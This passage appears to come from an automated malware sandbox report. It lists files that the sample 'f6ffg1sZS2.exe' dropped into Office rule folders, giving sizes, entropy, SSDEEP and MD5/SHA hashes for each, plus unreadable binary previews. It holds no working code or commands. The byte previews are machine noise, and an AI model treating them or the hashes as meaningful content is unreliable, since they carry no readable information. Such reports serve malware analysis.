Preview:	<?xml.\|..$....t.@1M.!.V..7..k.......>.%..r./.n............}....>z..o...r......N.....U...t7..h..,.E<.N..D..".l8$..0.....8.G.cO.]T.Y.C..c...;.#6.l..h.v.A.G.....,r.z.WB....^a."x....d.;....HI?J.+).."....V.}..'.2.3.hx....'.K...d...{r..{.FL.#....;9.u....\.j...W..o.3...h<.n.6..-%u.,3.K..>...}.YGB..=Q......,.LT^SB....r.zQ..[..d..6(.l[n.......U!.0...x.k.7X.P;.>..C.E...xR.;.....'.X...$...M..K.a.NH7..;.]m..b....u.X.:..mZ.IH_....)ltJ..JCv...d.Cf.#d..^.LL9.X......&..Gn.6...xj..xk~........1......!..,...u....g........=...M>..+...\..B>;._....`..X\..q...x...o4..4..&..J+...._......nM.e.M.ju.T....7..8.mq..N..).s..D..k...'..~......U~...cI....p.Vn....%.!y.n....`o./.}pT....]'.~..8....Ze.Q....J..]L..A.6a~..Qe..@...!..c...V4``.o?.HPt..I...{FPSD.k...{.....M...^. ..ge.r... ..].i.GU[i...=..x..B...q..M9.d. Z...M...R.`C......BT\|....sh.....:L.....+)..v.4.0s.......G..lY..O.....f...V.V..F._1.i..s.-...)E..w..E.7 .+I!\.........]F.......{-.I9... ...1......B5.%..)..p4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701651v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.900770724159002
Encrypted:	false
SSDEEP:	48:5Dd0G3MRCdJ+kFTwucc+EyJZ5oqUJgoWG6Y+poi0B+D:Zb3Mwr+kF8nXEyJs+op1Bi9
MD5:	BD842356B6538D146B076F6BA7DAFA6C
SHA1:	13654951B1196C100AC9BA2CF4311E0DF538D4B4
SHA-256:	173807AEC70F61072D0B9B5656CACABC556E284202A77C59550643FA6F9EF385
SHA-512:	DD1333933E34E29F4661244625BD75092BDDA416895FAACC290E91B0CC7272616B1B529CA434060BA7D1C6FAF120D5DB96231743924C1CDEC02F9AB6A5EFC17A
Malicious:	false
Preview:	<?xml.t.iH.A..{51yU.H{..ByF.. .....x.'..:..M..v..gN.6......R..=iQ.e......C.....f..O.K.6....v.4.o'.En...n...5...Ax..L@E.2."..C........m@..y..}`.?....P.J.V..;.....1u....s...}..0.(.ME<dJ.?.o..~Z.....%.{}.......9?..B.9u\$l%[6......r<.u.{.....z..U.j.....p.~.]x..R...XI80F..<..S.'.........[.._...6.@.......@..G,Oz.zd?......6...>..4O.0w$9P>.{..c..../.")..b.U8R.`X.`vM.c....S.o....).%..M.....]...~o.G....z.....^....&&.1.P.c......n.L.r..l-...v.QJ 1.\|P..5...7.3.n[.[.&...A.f+..R.r...w.p...Of.~S....M...)..3.6.<!>X./.A..l..6#(0.i.U.\|K.J.J>H...T.....d..pa..7.M(.0...().D.]...\|..^.....'D[..>.{..M.....N....Z[.N;.R3.YO.1...=..]..=D....x9.`..$N....].U.N..S.f....,s...B.....r]y.bO).B...@.h.w.U......3{........r.........h..-...jF_...Z....D.{...e&x.?._....R.V#.]<..:m.............(.N/..P.Q.S...ov..W.<4.B..X.:\|..L......N....I.zi.#.bb'y..&..&.9......y#j.\|.{p.7.VgmC.^k.z..=..k..k.oa.2...vy.(....z.-.0`.....1....]k.Q`..;..Gb..20...9.3..f...S>.........8.y^.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701700v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	7.873182217304026
Encrypted:	false
SSDEEP:	24:2/dXfU/q2fzwqfQqWgINzuHjGG5qvI+jATzNh6LI1sKiw3E/wbD:WdcpfzXfWNzsGXHqNh6esKBD
MD5:	740C1073F76CB8B6333731A5E9636DCE
SHA1:	3CFEEB8F571564996619C04D891F88E0A3840323
SHA-256:	134625D598FBBEADF31F3767D90638341F0DA54379138F65BD33770B2A9A8CB3
SHA-512:	1389BF049BC50A1C85C1138ECE19D66E22843C5249EC951205E531A44D373719E3CADBE5116A1B7493A50CE7F1796D46A4D06F0EA2A675788E46403605AD1368
Malicious:	false
Preview:	<?xml....5...ji~..,.e..^p..O.H..l~...X..\|..D...1..K.-......Z..B....DU.=.]30.............G..j...N..-...'.H.%...R."Xo.H...)0.:.....?7_.....A..Ai.>9%.[.7.w(.....,[.G..imG.I.:3.j.,I./.0].S]x.. .B<)....u.(.P3.....y+48C..6.l.b.4#..\\|.F.Q..{j:p..y.B....dRo.]c......`.E..w...-....4B..A.".v..?......C.9.qz.]...G....ew....+R...5..S.a..L.EJ...m.v..k../........V.<...+[<C_/b..I..0....+.._..0...W.2.A..)y.u....z{..#P....(..Yu.\>.?8h6..h.!<j5&.T.O.......h....i..b..m.....kdA.5.?....E$..;Q..D*.D.=e../.6.FOc.t....Q..O.H7.....Om...W....\o..n........E.{kL..L...#.s.(.a.f.S.l...)..z.....K..j.w.WR.\|.....t..S.....X...vH~..8...m]Y.2.._.a.....J..b...'.,:N.lZ..0.{.m.0...e.......9:.E.5y7......<...M.....3]-....2F...Mh.Z..u..\.-9.. .^5G?.[.).$y..Z.l">.B6....ZW....%.!Q.._.8d.z....R.A{"...0.Tw.%G...^d:....].......0..D..E...../.._.j6..1.O~.....}.C..]...!{4..B.gUAd<.E.)...%/z,...[..Pp..K..[....o_.e...T.u/...8.7Z.f....p.4...I...;.U..m..'.D...d..\..,..fg.....`.Y..1Y.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701701v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1756
Entropy (8bit):	7.901022977450393
Encrypted:	false
SSDEEP:	48:ap/TF0faAour0Gcv3AYwKbfwg8iUcKEAmMoHKkD:axuanGcv04G9E+oHKw
MD5:	000B0A88172C4EE545FCBAF175373393
SHA1:	962952290BE3D8A23F075AAD446FAC43B03F05EE
SHA-256:	2C36F2F777E551C50EEC2ACB01D6E1912DD2805000A0523651715857164D8B3B
SHA-512:	55AFD302735E9E544ECE36FAAFBC596765FAD520C3210A69B2CF2E4BA5EAA1122AB0DE4C386E21827ED9A4DE1A344BAF9E8CD80DC4FC86734FCDCBC3069A0EF6
Malicious:	false
Preview:	<?xml..m................Sm..1....5..1..,@^@..35...^..qSP..=n};D6.Ia......r.d...?]]...$6..'i...].Z.....e...........^m...e..&..S..c4.E.a... .&7.~.W[&(....C[.......h.\...4..5;.......]..\.......(AQ...."....C..#.\....-..z]./:..HE.p..~`...a......(t..q.s..+.g...8.....Q.g.\..E...._.z....?..S...~.-6.qi_....d4.Zd.Q..fB.J...H.>.n\G.Z>./=...j.^..E....P.B.N..2v."........w.(g.....z.\..o_'AaH..I...!..\..i...,...(...l.%~......?l...G..e......./.X.........s.U'.8[7.].C`q-...]2.z(....H........zH...J..ai}.;GX...^u.w...A..K..G.==.:..{.$.-.JF.=...b...o/..F7.'...V...f.O...p.K........X_....o..'..r..!.>..m^...Io..;Vi.j.. ....jK....=a...f.r.#P<.)s...a.bQ.}..<.Of.....3..C&.........h.u......6..\|.,.C.&\|Sn...5....g....BN....4....E..ys.muh...-`_......J.J..H.....1........iIq.......v..d.PUG.s...\.=E..y...j.#.4.1...n..V.{...j.0D.ZY.^.j.qR./$.L.T..2c..3+.........3$,aa.T.v..A.....j....u.x...C....rw/.`A.......8}F.0.b.\|.B...yM.^#..&.S\Ws.b.v?.X..%....^@HA...n.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701750v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.893118166486605
Encrypted:	false
SSDEEP:	24:svNB+1LzeK+x3OapAVqL5Wxdf2AI4pAd2Slb9z+6iy581cCPlHeJ/oNYzV6utKSf:3KK+fRL56FyQAg6+hcC9HY/RB1KZqFD
MD5:	82E4160BBBB93760D21DBBEDFAD74685
SHA1:	7932A3D3A47CEB4A1BFE0490FDC26861F61C50C7
SHA-256:	7B7AA9C5E7884FE1C31FD6726A1712A90178E6DC504F6B2287F50FCE3F943A82
SHA-512:	A487CD23776A2D5AAC8E2C39DCCC3D3FA361830ACCAC6FF57FD76A987C3BF9D7F383F93FEF4CD5D47CCA8CA4FCAF51DDC03C963A1A5DDFC8E3FA6E20E911A547
Malicious:	false
Preview:	<?xmlq .}wY..lS.z.......`3:.".{xD.3..sE0.j6v".}..d............s....I..;......l......Z?B..;~..n..o.86..;I...!.$P...G.}...sV.1O.\|s....[fB.n(`U...#.mf.<R9d=......=<0R?<.L..$...k.w..v...i....R.......`\o.q.;..6..W@.MH,..h,...P.W..).#..N.E..M..6..P.rov......\|...q...e.A.[..g.:......0.+..$AZ.l].hi.C../.\|a`..-5gp.!+.......t..4H-...s.e..rvA\|..k.[........re69D..C.S...9....?..R...@_.R.~~r@YQj..?..6.LWX.....H..uj.?./.X.k...'_.k..../........#3.lj@.........[^.....y`..........b$..C.7.K.y...n4rr...6...+...Vll`;.\............-......OeHQ.w..r.\.....7...Yw.!..ar........).n..;.L....i6J.[li[(U.s0...fg.&..J....^.A.bl.XJg...jK.Z...#;.._Z...e.O7.t...f`.._........3.T....~....R...L..1....O.5BekU..#J<.ij..^n_.h...K.z.~Tjgv.....n.n.j*E.?0>.e..,..J.~.a....t].6O......u..0fv4."....@2..9........h...UH..5..K..0..EL)...b2.h..)Wl..\|.....).S....p.\.%...\>x..1.........LQ.9..=..I....x.K...=\|.h...{p.%F......s..\.0.~.....,.5........U.<....:ZY.d....M.j...`....K.Q..)......<.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701751v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.887581322039952
Encrypted:	false
SSDEEP:	48:Wf+RQg/ifdja9iXnUfzjXzbnJE5KZanIlbjWve7aJIqvD:WKQcEdPnOzDnJ5bjWG7aB7
MD5:	F429828484E2BD4200DD310DD3805C46
SHA1:	CA710A1CB1CB006DA58EFCC861F4C10C4BEEAA25
SHA-256:	806756442F8F4DCEA43C8F081D4594392566C464497C546BFD9F5589CC3C076D
SHA-512:	51020BEFD1BB4B45DAB57E0692FF84D40969CF242DA9E8352E1032120EF87FC326302820C62D8D50265316C9CF4F9EA3021EC78DE8546FC8CFC860F813CC1F0F
Malicious:	false
Preview:	<?xml.C.t..G.h.._..3O...z\.M..{+.ve.W."...[..D....jk;.......w.Ai..y.^-..G.<.E. ..E#.B..J...K.....s...?...P.vd.d...8#9p.C..(...z..Y+Pl..3..8..T....[5..k...B....F....0....\.ma....,..........w..<...I...K~...."z............,..@_N.$......H.#.EUy.=.O.....w..]q.+.....t$..o....i..W$Q....T.W]..X..Kx{..'......J..C$c...I.."d/2..T.d...r.z..a..-.]...v...q..:..........\|..8.1&..v.........:.J..w5..%#,T.<..b0._.j..].wi..1...,Q.;..>}.. l...y..{lH...).`0ui.....[.w..`..+oy..X...~...t.1..4.f8....f"tG.a.......kQ\|...8......$P.v.PA..+...W .....M..(.!......4l.,Y....Mg]\|..;.v.0...M.PL.l..a...W&PR.~.!.....}.&.L}.$..+.......sr.s......I...^.....;..(.?.}6p..\|...&..Y...S.{....!..;mH..*....1Rrx..p.mTWg..\|.2....'.o.,H.l...&.........Y>.X}.w.q;..l...E.._....a...... .....9.1.xc....mO..[...:[..vy%.,.!.4....J...c..E.uz{.....T.... ......_.^).D.l..!li..d.-..p...\S......j].sY..BoX@[s..8...}...X.....W.Y.])m?e..+.-...V%p5."...d.8....7...z.F.?.\|....;_m.../t......Ff{.l.'.3..XO

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701800v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.882172531460416
Encrypted:	false
SSDEEP:	48:l0SvAxRFZt9VPBaS0v/TXswmTWqaWPSSkrq20myD:6QmZt92So/TcTWq3F207
MD5:	946878038402A31DA7B3161E58820264
SHA1:	5BCC9C8F0AC27C0DA2509522A477277F5A605115
SHA-256:	2B0A9061921A841583BCFBC481153F2EE5FF0A4C3BF4FB62D4F5BE4ED75599CB
SHA-512:	417786BC29B2B0CEDA0612C470D127561FF619AE8CA9CFAFACCF4E2F18AC60CB4EBCAA7E129D35A63E9F7CDD1E785F0EEEED9216CD2641CC55F22C789763C425
Malicious:	false
Preview:	<?xml...0V~vn>*..}..........!.A....O.tG.n.N.)...o.jz.G...{/...-oJE..\|..!...!....}d....$.".........E.o-.)A.tst.....PZX..5XA>b...@..>.i[.~.k..n.k...eo..m\GK..S2li.^.FF{......`X......o$Z..Q..k.....0<.Z...E.K......'.?....f.P0.U...5:...~M...CP.!......Z.G>.9......X.......y.k.o...'.J.z.f.."7..qVr.0..w..Sx.R..r.s.M.{..~e..i.........Lg.N^.....Xv.E.....R...~...#ah....d.m..v)%x..?...'I0.ML.zN.....\jD%.]...H.7.uA..A..X!.+.&"...3c{.3........JP..=T.8.j.lo.....TE..q..Ys.............m..Z...M.l>.!8}..D..g......!@..f\|{...<.{.../.....(w.F.^a...I....U......#......u. .....p\|..w....7A.U.....s5..~.KC.pl.V...<.fln......}&}......{.x.c~\N..4f.s.......T.aNb.._J../r..&9e.....(2...,.9.~/...e&.!E..+{dM.H.......e57O....mI.IV+CS(..' .}..RJl.V.....&.....{.....E.0.'.47.c.~.H.9...y...IJ.........~.....4Y&N,.m/.n.5..S..}....r^.........0...`.u.Y..>.vf...T..$r..f..shfh.>`..\|jZ....O..8-.F....Gv.UA...,.V...,...............Soo..zG.M.KqG.2....\|..82.=...j.l!....WV....2\|..1^...{f....q

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701801v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.888834064762702
Encrypted:	false
SSDEEP:	48:gHYELGsKs/NaBaSy84FHuNFP/eOjH8dEm9qQZD:iFZaUSZzObdEm5R
MD5:	B9B5D50C54E81A27D4ECE417636E4B08
SHA1:	09ADB66E34ABB52E8C57D50FFF388328867BB41C
SHA-256:	914669E43767BEA8EA9F3A470AA0434394DDE4AE6F8F5BED1778C1931403AF55
SHA-512:	5777C16A5BD21D7C53A0509365EE77DE40DF41A33844935F7ADD6000332C5A3D8E854DA6391517306AA2811A9656CD8E6303E5A6D0DEDA504F84B56BF3628A16
Malicious:	false
Preview:	<?xml..C..@..K...}..h....6F.c....>(s.l^.F..../4....N.P.S>.....9:.Ni.....\|.X.e.U_.4.2K.\|.\|5.-....,C+.^M.]..g..e.h.@,N5..B...&\f.......m3.S....q....z.....Z.m...T..)...fd..'.r.......:..UP...-...A....".D..0.r..C........#..~.F....x..VA....E.'...K.K..8w&..P.k...F..$.^Z.@.{..<.g..XCM......M(Q..LQv[)a4.:..db...C....#.....mX.9...._......W..T.r..q.t3..u.....M.>>..3....&...u.7....?v...5...a.\..%.9ln3.>n.!....$...?8h....Fo@E~.,.\|....;..KA.......%G.5.4Mw.g....Z..K\|.H/....~...[?.H.f.....z.o.(...7H.:/#.....A..q$."F6..{9.y.l.:[t.c`.&.....O........W...VN%t.I.I.bG.K..C..G.\|...~.`./\|Q...`.=.N..".M.y....Sq5LR.X..o.(....i..>......h....gF.T.w./).......e..8...F.5.v..k.h8...C%.5W..a..XQ......sGo.....2(.....K+n....l....m..".0....yT"..gg.7.#9L...(i..."..^.L.M..^.Ef.e..WY..R.:....x3.6.$S.i5.[.J.i.Nqh...E....c.u..."........9/..hi..1..w...9.........!..ez.P)a.\|w_....c}.....2.5.1...u.8]Nt:..:........{.k.A.%;y,..6.V...p.\|../6....1K...5..6..25.z..\|s=:=...`4@.....b

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701850v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1704
Entropy (8bit):	7.876520319378779
Encrypted:	false
SSDEEP:	24:7cjbt6S0758vIs5fyy5BMoHMGcb1Xge2bMVsMD248cKSC5Bdlkb+rd+ZO15rOZnv:YPt65758w8DBMQFGyWP2lmCzwAaZMSD
MD5:	3BD23B2460C646B258221AF6CFDBC121
SHA1:	E1A2DE29553B82C596621D04BC2110F130A512E5
SHA-256:	877EF141822CC67880159501D870BFA46ED5122D58AE789F7475B63FAA147969
SHA-512:	4DB7EBE955EB4BC3F189426D50AE4B933EF3D414A0821519915ADF96077ACDCF3FB804F92D3A36FC5D7910DA6748523AEFC197686A98D2E6969D0C05DDA03DE3
Malicious:	false
Preview:	<?xml`...."...9.+o...........m6...A. ].a...B`Fuy..<J..#<....'4..9.8...._.6...{.#..I.....q...U..W..a.4......N....D .;.....}...+..L...5..+...N...#J}.H.....5... ....@.l..p~!.$.@C.%.n+.iwZQ.q....}.k...r.....J..Ns..{..B.......[..z-..... .........rY....t...g~.......\|.0.......^;...9B{.#O.#\|..Q.>1..4.`..D..PE$ .b..h.4}.@w.2..ba.zDo-....V..\|.U.....y......~dT.7.W..%....!6...{\D......z%f"e.j&B.d.}.H..}...e. '..Vdp...s^..^.HITi..9O.....)SS.V....K...X...}...w.?..;.1-...../c.?..T..h..W.o..{.(............a+....Qw...9L.5,;?W.\|.......G...$).cB.<.....<Q.`.@.Su.(=...^..S...Y....H.H.PDJ...q....w....S}...:t.7.x#UB.M).#H..q...<DaHg.L....hKw..r9.EX...6.U"..B"..;PyN.i....L....>Z......8...N+}..H.pV..Md...s.>C.,../W.d=...H}.VG..b.[.R.a.[.] ..-.!..M.{D...~...wn0.."..5...).#tY.~...W*.. ...R..XV:V.9....w.AQ..F./.x.Z..)....W.....F.`.5........kU~..6...Gvz..e.......\|.u..9..:@...kj=..K....Y....GhD......Z..:Ky@....v."...9........O....5X\.C..0.\|...I..]..%..........<8.\|s\|!

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701851v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1741
Entropy (8bit):	7.899908075171097
Encrypted:	false
SSDEEP:	48:3qw65HauOtlpSbiJIVvodduXxcbIs1EHQvEMtTeHoUD:3qw3tlpvSVwdBbIsQQvDtCIA
MD5:	6CC063D2C5DD81B5771FA3E12726992E
SHA1:	C205F8DD2AFB247DB481D5577C9A2A710103757A
SHA-256:	C766C8BFCC150C8F63D4E1789A65AA421074CCA72B69AC3B767D114A83DA9D69
SHA-512:	55305469B50A7BD582D8719BE9DD3B460BB2FD46C1F08B69813B26F9E0321DFD53FF313737861D09CA5334C5457073690AFD5A14B1E68D32D86AC8EAD82B661E
Malicious:	false
Preview:	<?xml0ck.....].....+.8x.."<^O.......B^].E..6....].o....`.\..~.{...!]dq.0...o.....Sr...P.n...GLzB.v...T..GC.Yy.........8.I..E..q..,Fzi......ml....(.....9.a.b..=.u.........wH....a..^.)...._.W..U...y.....l]I...{D.H..V..~....6TZ..{...E..._,..94Qw^.R.&.m....LW...zh.f..k;....,.u.eEn..@.U.......G..m...%.$hE.m....).h.A..=.K.\|t.EKt....q....}1...Q.).......}..~.....8...u.i.....fk(n.4en...3.............L(3..Dl(...b.........Pp94+9....,.&.q..!.Y........y....)J..m3.....7@...TKc.J..2.."<c....?_.N.....3.@b.d6.b.p..OU...kYtmo.......\|.Il....7._q.S.j...b....<....@.qz..<...Z...t.\..^....e.MY.)..wvn..+....JvX...........r....3v.wuq}.ID.....\|...j0=2V1....#......l...PY....C9....M%3D.z.Jlo..O.......D..t..p`..xEUU....&.K.VR..z..-.Q.Oay...#....% ....{T.......c.eU.0.Y.;.6..0.E.z..3.<W..s.X.O..e.B..."4dm..xc.L%....Rhe.....b..$.....z1F.v.).W.A.R-a...5.z....1......C.....O..'.....l.......r.o.}....W.h...b...-...k....$R.&............M../.@...syR.X8..[.>...^.hPm<....z..).Wg

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701900v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1703
Entropy (8bit):	7.896040444034511
Encrypted:	false
SSDEEP:	24:YQXL5pxDJsX8U6oBeNf/85hRV6+TXlNRUzZTA8E2Sdc1RiUBIZZguhEyiJbD:z/Hg8UBa0pTVNspcUBggWEyCD
MD5:	7E958B71F38FFFA03A399987D153A39E
SHA1:	C0D2BF0080ADAA563929136B7401B3E33FF7892C
SHA-256:	3D123E113AEC5FDC6D61F7DB33DE4337F16C00F35A5F5AAE1D5D6F41C4D93475
SHA-512:	71C37BDFBF0DAAA8BF7EE3BFF73294ACEC4E5D3224B30A475B8391B4F098F4008321269E228DA39F0D4D65A847BD381B1301428D3BF0E55B51B4967FFB4990F1
Malicious:	false
Preview:	<?xmlL#.........vA...N.+.,.f..x=.w3cjQ..D'..~.}f......QQ.kz..j.].;......Ns=....l.)....w...k(..e......a...G.9.=.z.c.......H9...d%xuX.D..$.O.vh..>..&.....J....Uq.....[.4.4l.F>.{f.....eS....n.[...F.OA".j.l..............f..yX..._c.DU...t..'I\|....H,.f_......"o....U..?w...L.kO}......J.js...m...&...2/...3=.L..;....fvgS~..9..mZ]^z7.lO.^f<....!f.&NT.ku......r9X....)1v4..'..Q..9.)g......`f..N.4...t2...B....N.u.C..m.H.I.........R.N..Mh.w.......C..3.nU+S\....#....~...Y%.:..%.;>..Or.u.sa..0....T.m6o.tS.$.....'.......C.?RM.h....b.k..D...v....dw.`Y.0\|..SK<d.9.I..1.7..HJYS....e)hDe..S..>..x;..}.mq.pZ8.....C..K.[s...t.mqP-..P..X...."x.. .#$.qk...e.z..-...H.N....c....E.........$.........-mDy..w...1..'..c.....\|_GY.H...(.YF..... .M..S...^....t.....jH..]..I......4.6H....f.z.#`.M.l.n...+..!.;..W<.Y..1.:.u......8.@`{.<..D..T.0S.+.FA.....GI...]..2.h..C.B.;...GB0.B....+Z.R.x.....*l.].'....E..R'._0v..@..}.;.........g.V.{............t.$.........g.lE:y_U..,.A..\.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701901v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.8766836950441945
Encrypted:	false
SSDEEP:	48:1WsZYc75OWW9V1+jZyeXKIQ3HSv41EmXD:Cc75dW9V1+V8DXSv41f
MD5:	FFD56A635708EBBC6009377A919F7C9B
SHA1:	FE85D516A48AD9760C2D15A1682E1FE4A8D4EF1D
SHA-256:	CEEBA76A05D9DF7653306AC529975596217CC0988C3DF551773896EDADE497DF
SHA-512:	EA6907D26C2DEF29BBC053AABDDD4D58BEB40E88E557102D8DF8CB8976749B64F85F966435AAAD87A69E59FAF73DAE3B79A37CA162C40E4565234E2BF7402BC7
Malicious:	false
Preview:	<?xml".2..t9d f..q.x)h..z.[\|.....'..l.FsW.q?..V.1V..uU....k?]....P.....F.......N.SB...8...L.t..$..i.VYlV.F.Ta.....I.9.......S\...`.Y....HAo.2..,.I@...v.N...E._3.(..D""....N...5BIm+p.v.Bv.W.%gJ3Qp....3..D .......].:.....2..w.S.....d...D=......~5<.e.8......3.;.p.R...7.._..D..h..2.C..s$..t..d......8.Xn.....h.9...@..3...-/e:.j. c.D%X.\|.m...y~.X.........O.6..i...q.:<C......V...7.KK.j..E...,.zx......b.)..#-.S-.O..S..%..O.q....O.#.....l<.evQt2&).h.N).l3.R..4o$6..$...:q i_.Z.ie......+[......3....9xT9.5}....$..=.r@.<`..]s1.d..n..r,E.8K........q..U3P....lM^~)H..\4.~aY..u&..h..V.f_..&Ez.;c...3..11.[...~.T..\|3..\|..S.j.`M..e.p..[\| r.c..A.,?._.r(.&..VJbv.....(#"..../k..`...,....(...`+.2}.$#.....A.X...F..4.&c.%..y..Q.G........'.FFP..$c...c.......{."V.$...$..;R..xD/.E[w..X...z.....T%=..T.........N....\|.6OQ..,f8.qgo...W...H.9d.8iH....kz......P.?.......9........ ...nc[N.(M.i8...Q<x7Y.^...C.._....O.8...%I..D4.j....~.D._.L.P2ukwN([..>.4......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701950v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1713
Entropy (8bit):	7.892728897470856
Encrypted:	false
SSDEEP:	48:Am8XGlU4RXqijcL9jyWygFuAJ8yrcvsKHhFLJD:x82lU4R6iGhFnbAhh
MD5:	2A0A295DD5B909FCEC2F342A6EB2602F
SHA1:	7B8A88DA279462F23D28A3B0A2A116EAE74F9A17
SHA-256:	F4B1394DC552B7AB22C59216F4CA315927001679D2C6A4F5614829B9149B6DA8
SHA-512:	FFD12A96BC511CEF23B9D07508E88178436FF01D173E9B037B997DEF90F47E3870DCCDBC873086EF638C8E9599CACAF33ADCF406A25E7373EAA63C92CB7794B8
Malicious:	false
Preview:	<?xml=...f..o..P#...G.... ... ..Od..A.h,.; ..-..........V...U....n....$Xzu..#u......s.$w.^k.[.K..).$-U.-.o3...sd.^.m........!....DMob.0.7......D.C...&...M.....(..I..pj.B...2.k...rY....n.7.t...z1.....f..[0........./Q..j..!..rE...... ..Z..2Q..PN@vL.R.\|..:c.X..k.=.$...G..X..........t.l..S.........i..h..igZ.;. .dv..j!...eJmm.Ad........J.c.)9.....:....+...kk_...B..a8.;.H...?3.Q0P..!lz[AX.........~>c.....)L.Zj.B....wE...0..E.Ke..'.N....v..F....K.`..1.........fV...$...+..+x.\....2.iO...A..'.Rv....H+...J..L.07cn...w.u...5..S...B~/.~.+...l...<....#..K.!EW.EA.6/6c.L........@.......L.&_...w.ZN`....3..Q.8...!..x.0.7..../.[........N.>r'...h.........U...\. d....EKJ.H;......}@..5u+.Z^.+5..~....<.4+@.....#.g...[...14..C'.w ....T....i.xbu..M..H.=w..It`..2..x......6.o.4.].(6..3.`.._.=(.jT5..>-......1V..Y32......I..<@...#vr.k.0h9..0Rb...F-$.M.v.,u~J.a.....@p.....v.@..j.........4X...{...k..Y.\saE@.*bq.P>..#......&..4`.5">.%.A#......1....F].._

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701951v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1750
Entropy (8bit):	7.884830624886603
Encrypted:	false
SSDEEP:	48:H/BDD7eZyt+/3XJroPwXnEelB/ZFVe6nk9ctlKRaTD:HhPeZy8roPwXZDskN
MD5:	7E4BADA329207ED191DAE9A56AEAA3CB
SHA1:	A40063874D20F5B39B25A28A163FA7A676AFB4EA
SHA-256:	B66D0A9641AD9CBEDCEB37F63EA9580AD9374281088C4BE7A09EAD8EE02EDF26
SHA-512:	CFB080D8A2EDD66F351AE617C99854BA4484FBABA2E9DB6B642096F6AF4879EE18F0C99DBE7BEAF0C0C73841AF7EE71D2268A7B8051E55040A8B2BD7088E5675
Malicious:	false
Preview:	<?xml....v.`MC.J.e..B{.....9UL`Oj......'tOJ...$@(>.KN.u.....i.......3.2.g.U..Zz..O3.........H..ZI.u.!~.!....D&]n{.....K....;cj.;.....[.8xkBHr....6.....4.+).h-.0.kN....4.a..K..0...f$......X.C.V.....0..h.D...N6..s?...+;U..n.q+l.....\PB.S...J...(..O..n.(..?..h` ....a.C..$.=..... .....W.Y.A.2Q@>.......;..G@0.....~..".0..2XYw.'.Z.\|...A<.&P.Hq.5.6......i..es....M.....v...D.~0#...,..B.b..m.t.D.....Njf..r.c7L...\...`.M.i!.-..).;[j.i.Tx3..8.oFf.~^D.>.O..Lidv...V...0..b..\..j......A...t..(..k......;\|}y...s.}.....x8..s..H.hS.X.$Ybh^w..SV..j.....K\.1P..E.P&.I8...v...>..(...~.C...b...S$~.2....5..$..w.v..{.Z!.....S..KG..;I.........L"J..y.d-...w.w.\|np;.O...X8....]...!_.gnX..e5......lJ..3&.-.zd..u.i...I.....'=...=..OA...".g.g..}...q.z.........O)..h.{#@..,....g...)..[w.......zTw...Rf.....yj...2....^.Y....Tf......iw..n[@.tS...Q.............;cELC..'h3...J..B...<..J.M....^.%.u.T<K....f^....k.....KP.`.eS7I.....l....z@..[.P....<.O.1.qHu.=xl..Z..zF.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702000v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.881579977062282
Encrypted:	false
SSDEEP:	48:6WH5pVccrhfbtOgu8pokEbBL4K98aDqTmD:nc+RVjpaNL4KrqT+
MD5:	BF0768D5153B9D38C00BB1F79DFE08CE
SHA1:	D1EB551DF3CD84BCD799646D0A6029236E54B0FE
SHA-256:	6AF72818E3C5913BD0B4B42D6DF5129A938CB4A0C07DF52B456D3DFEC3875040
SHA-512:	1A484FF1A20E562C6EAE77A1014C0B1FD9C7142DFFFEFA107CB090AFAD063D1EBF19C2E3F2C25743C04E716505F31ED8C812614BD8525E3A97B946863125E587
Malicious:	false
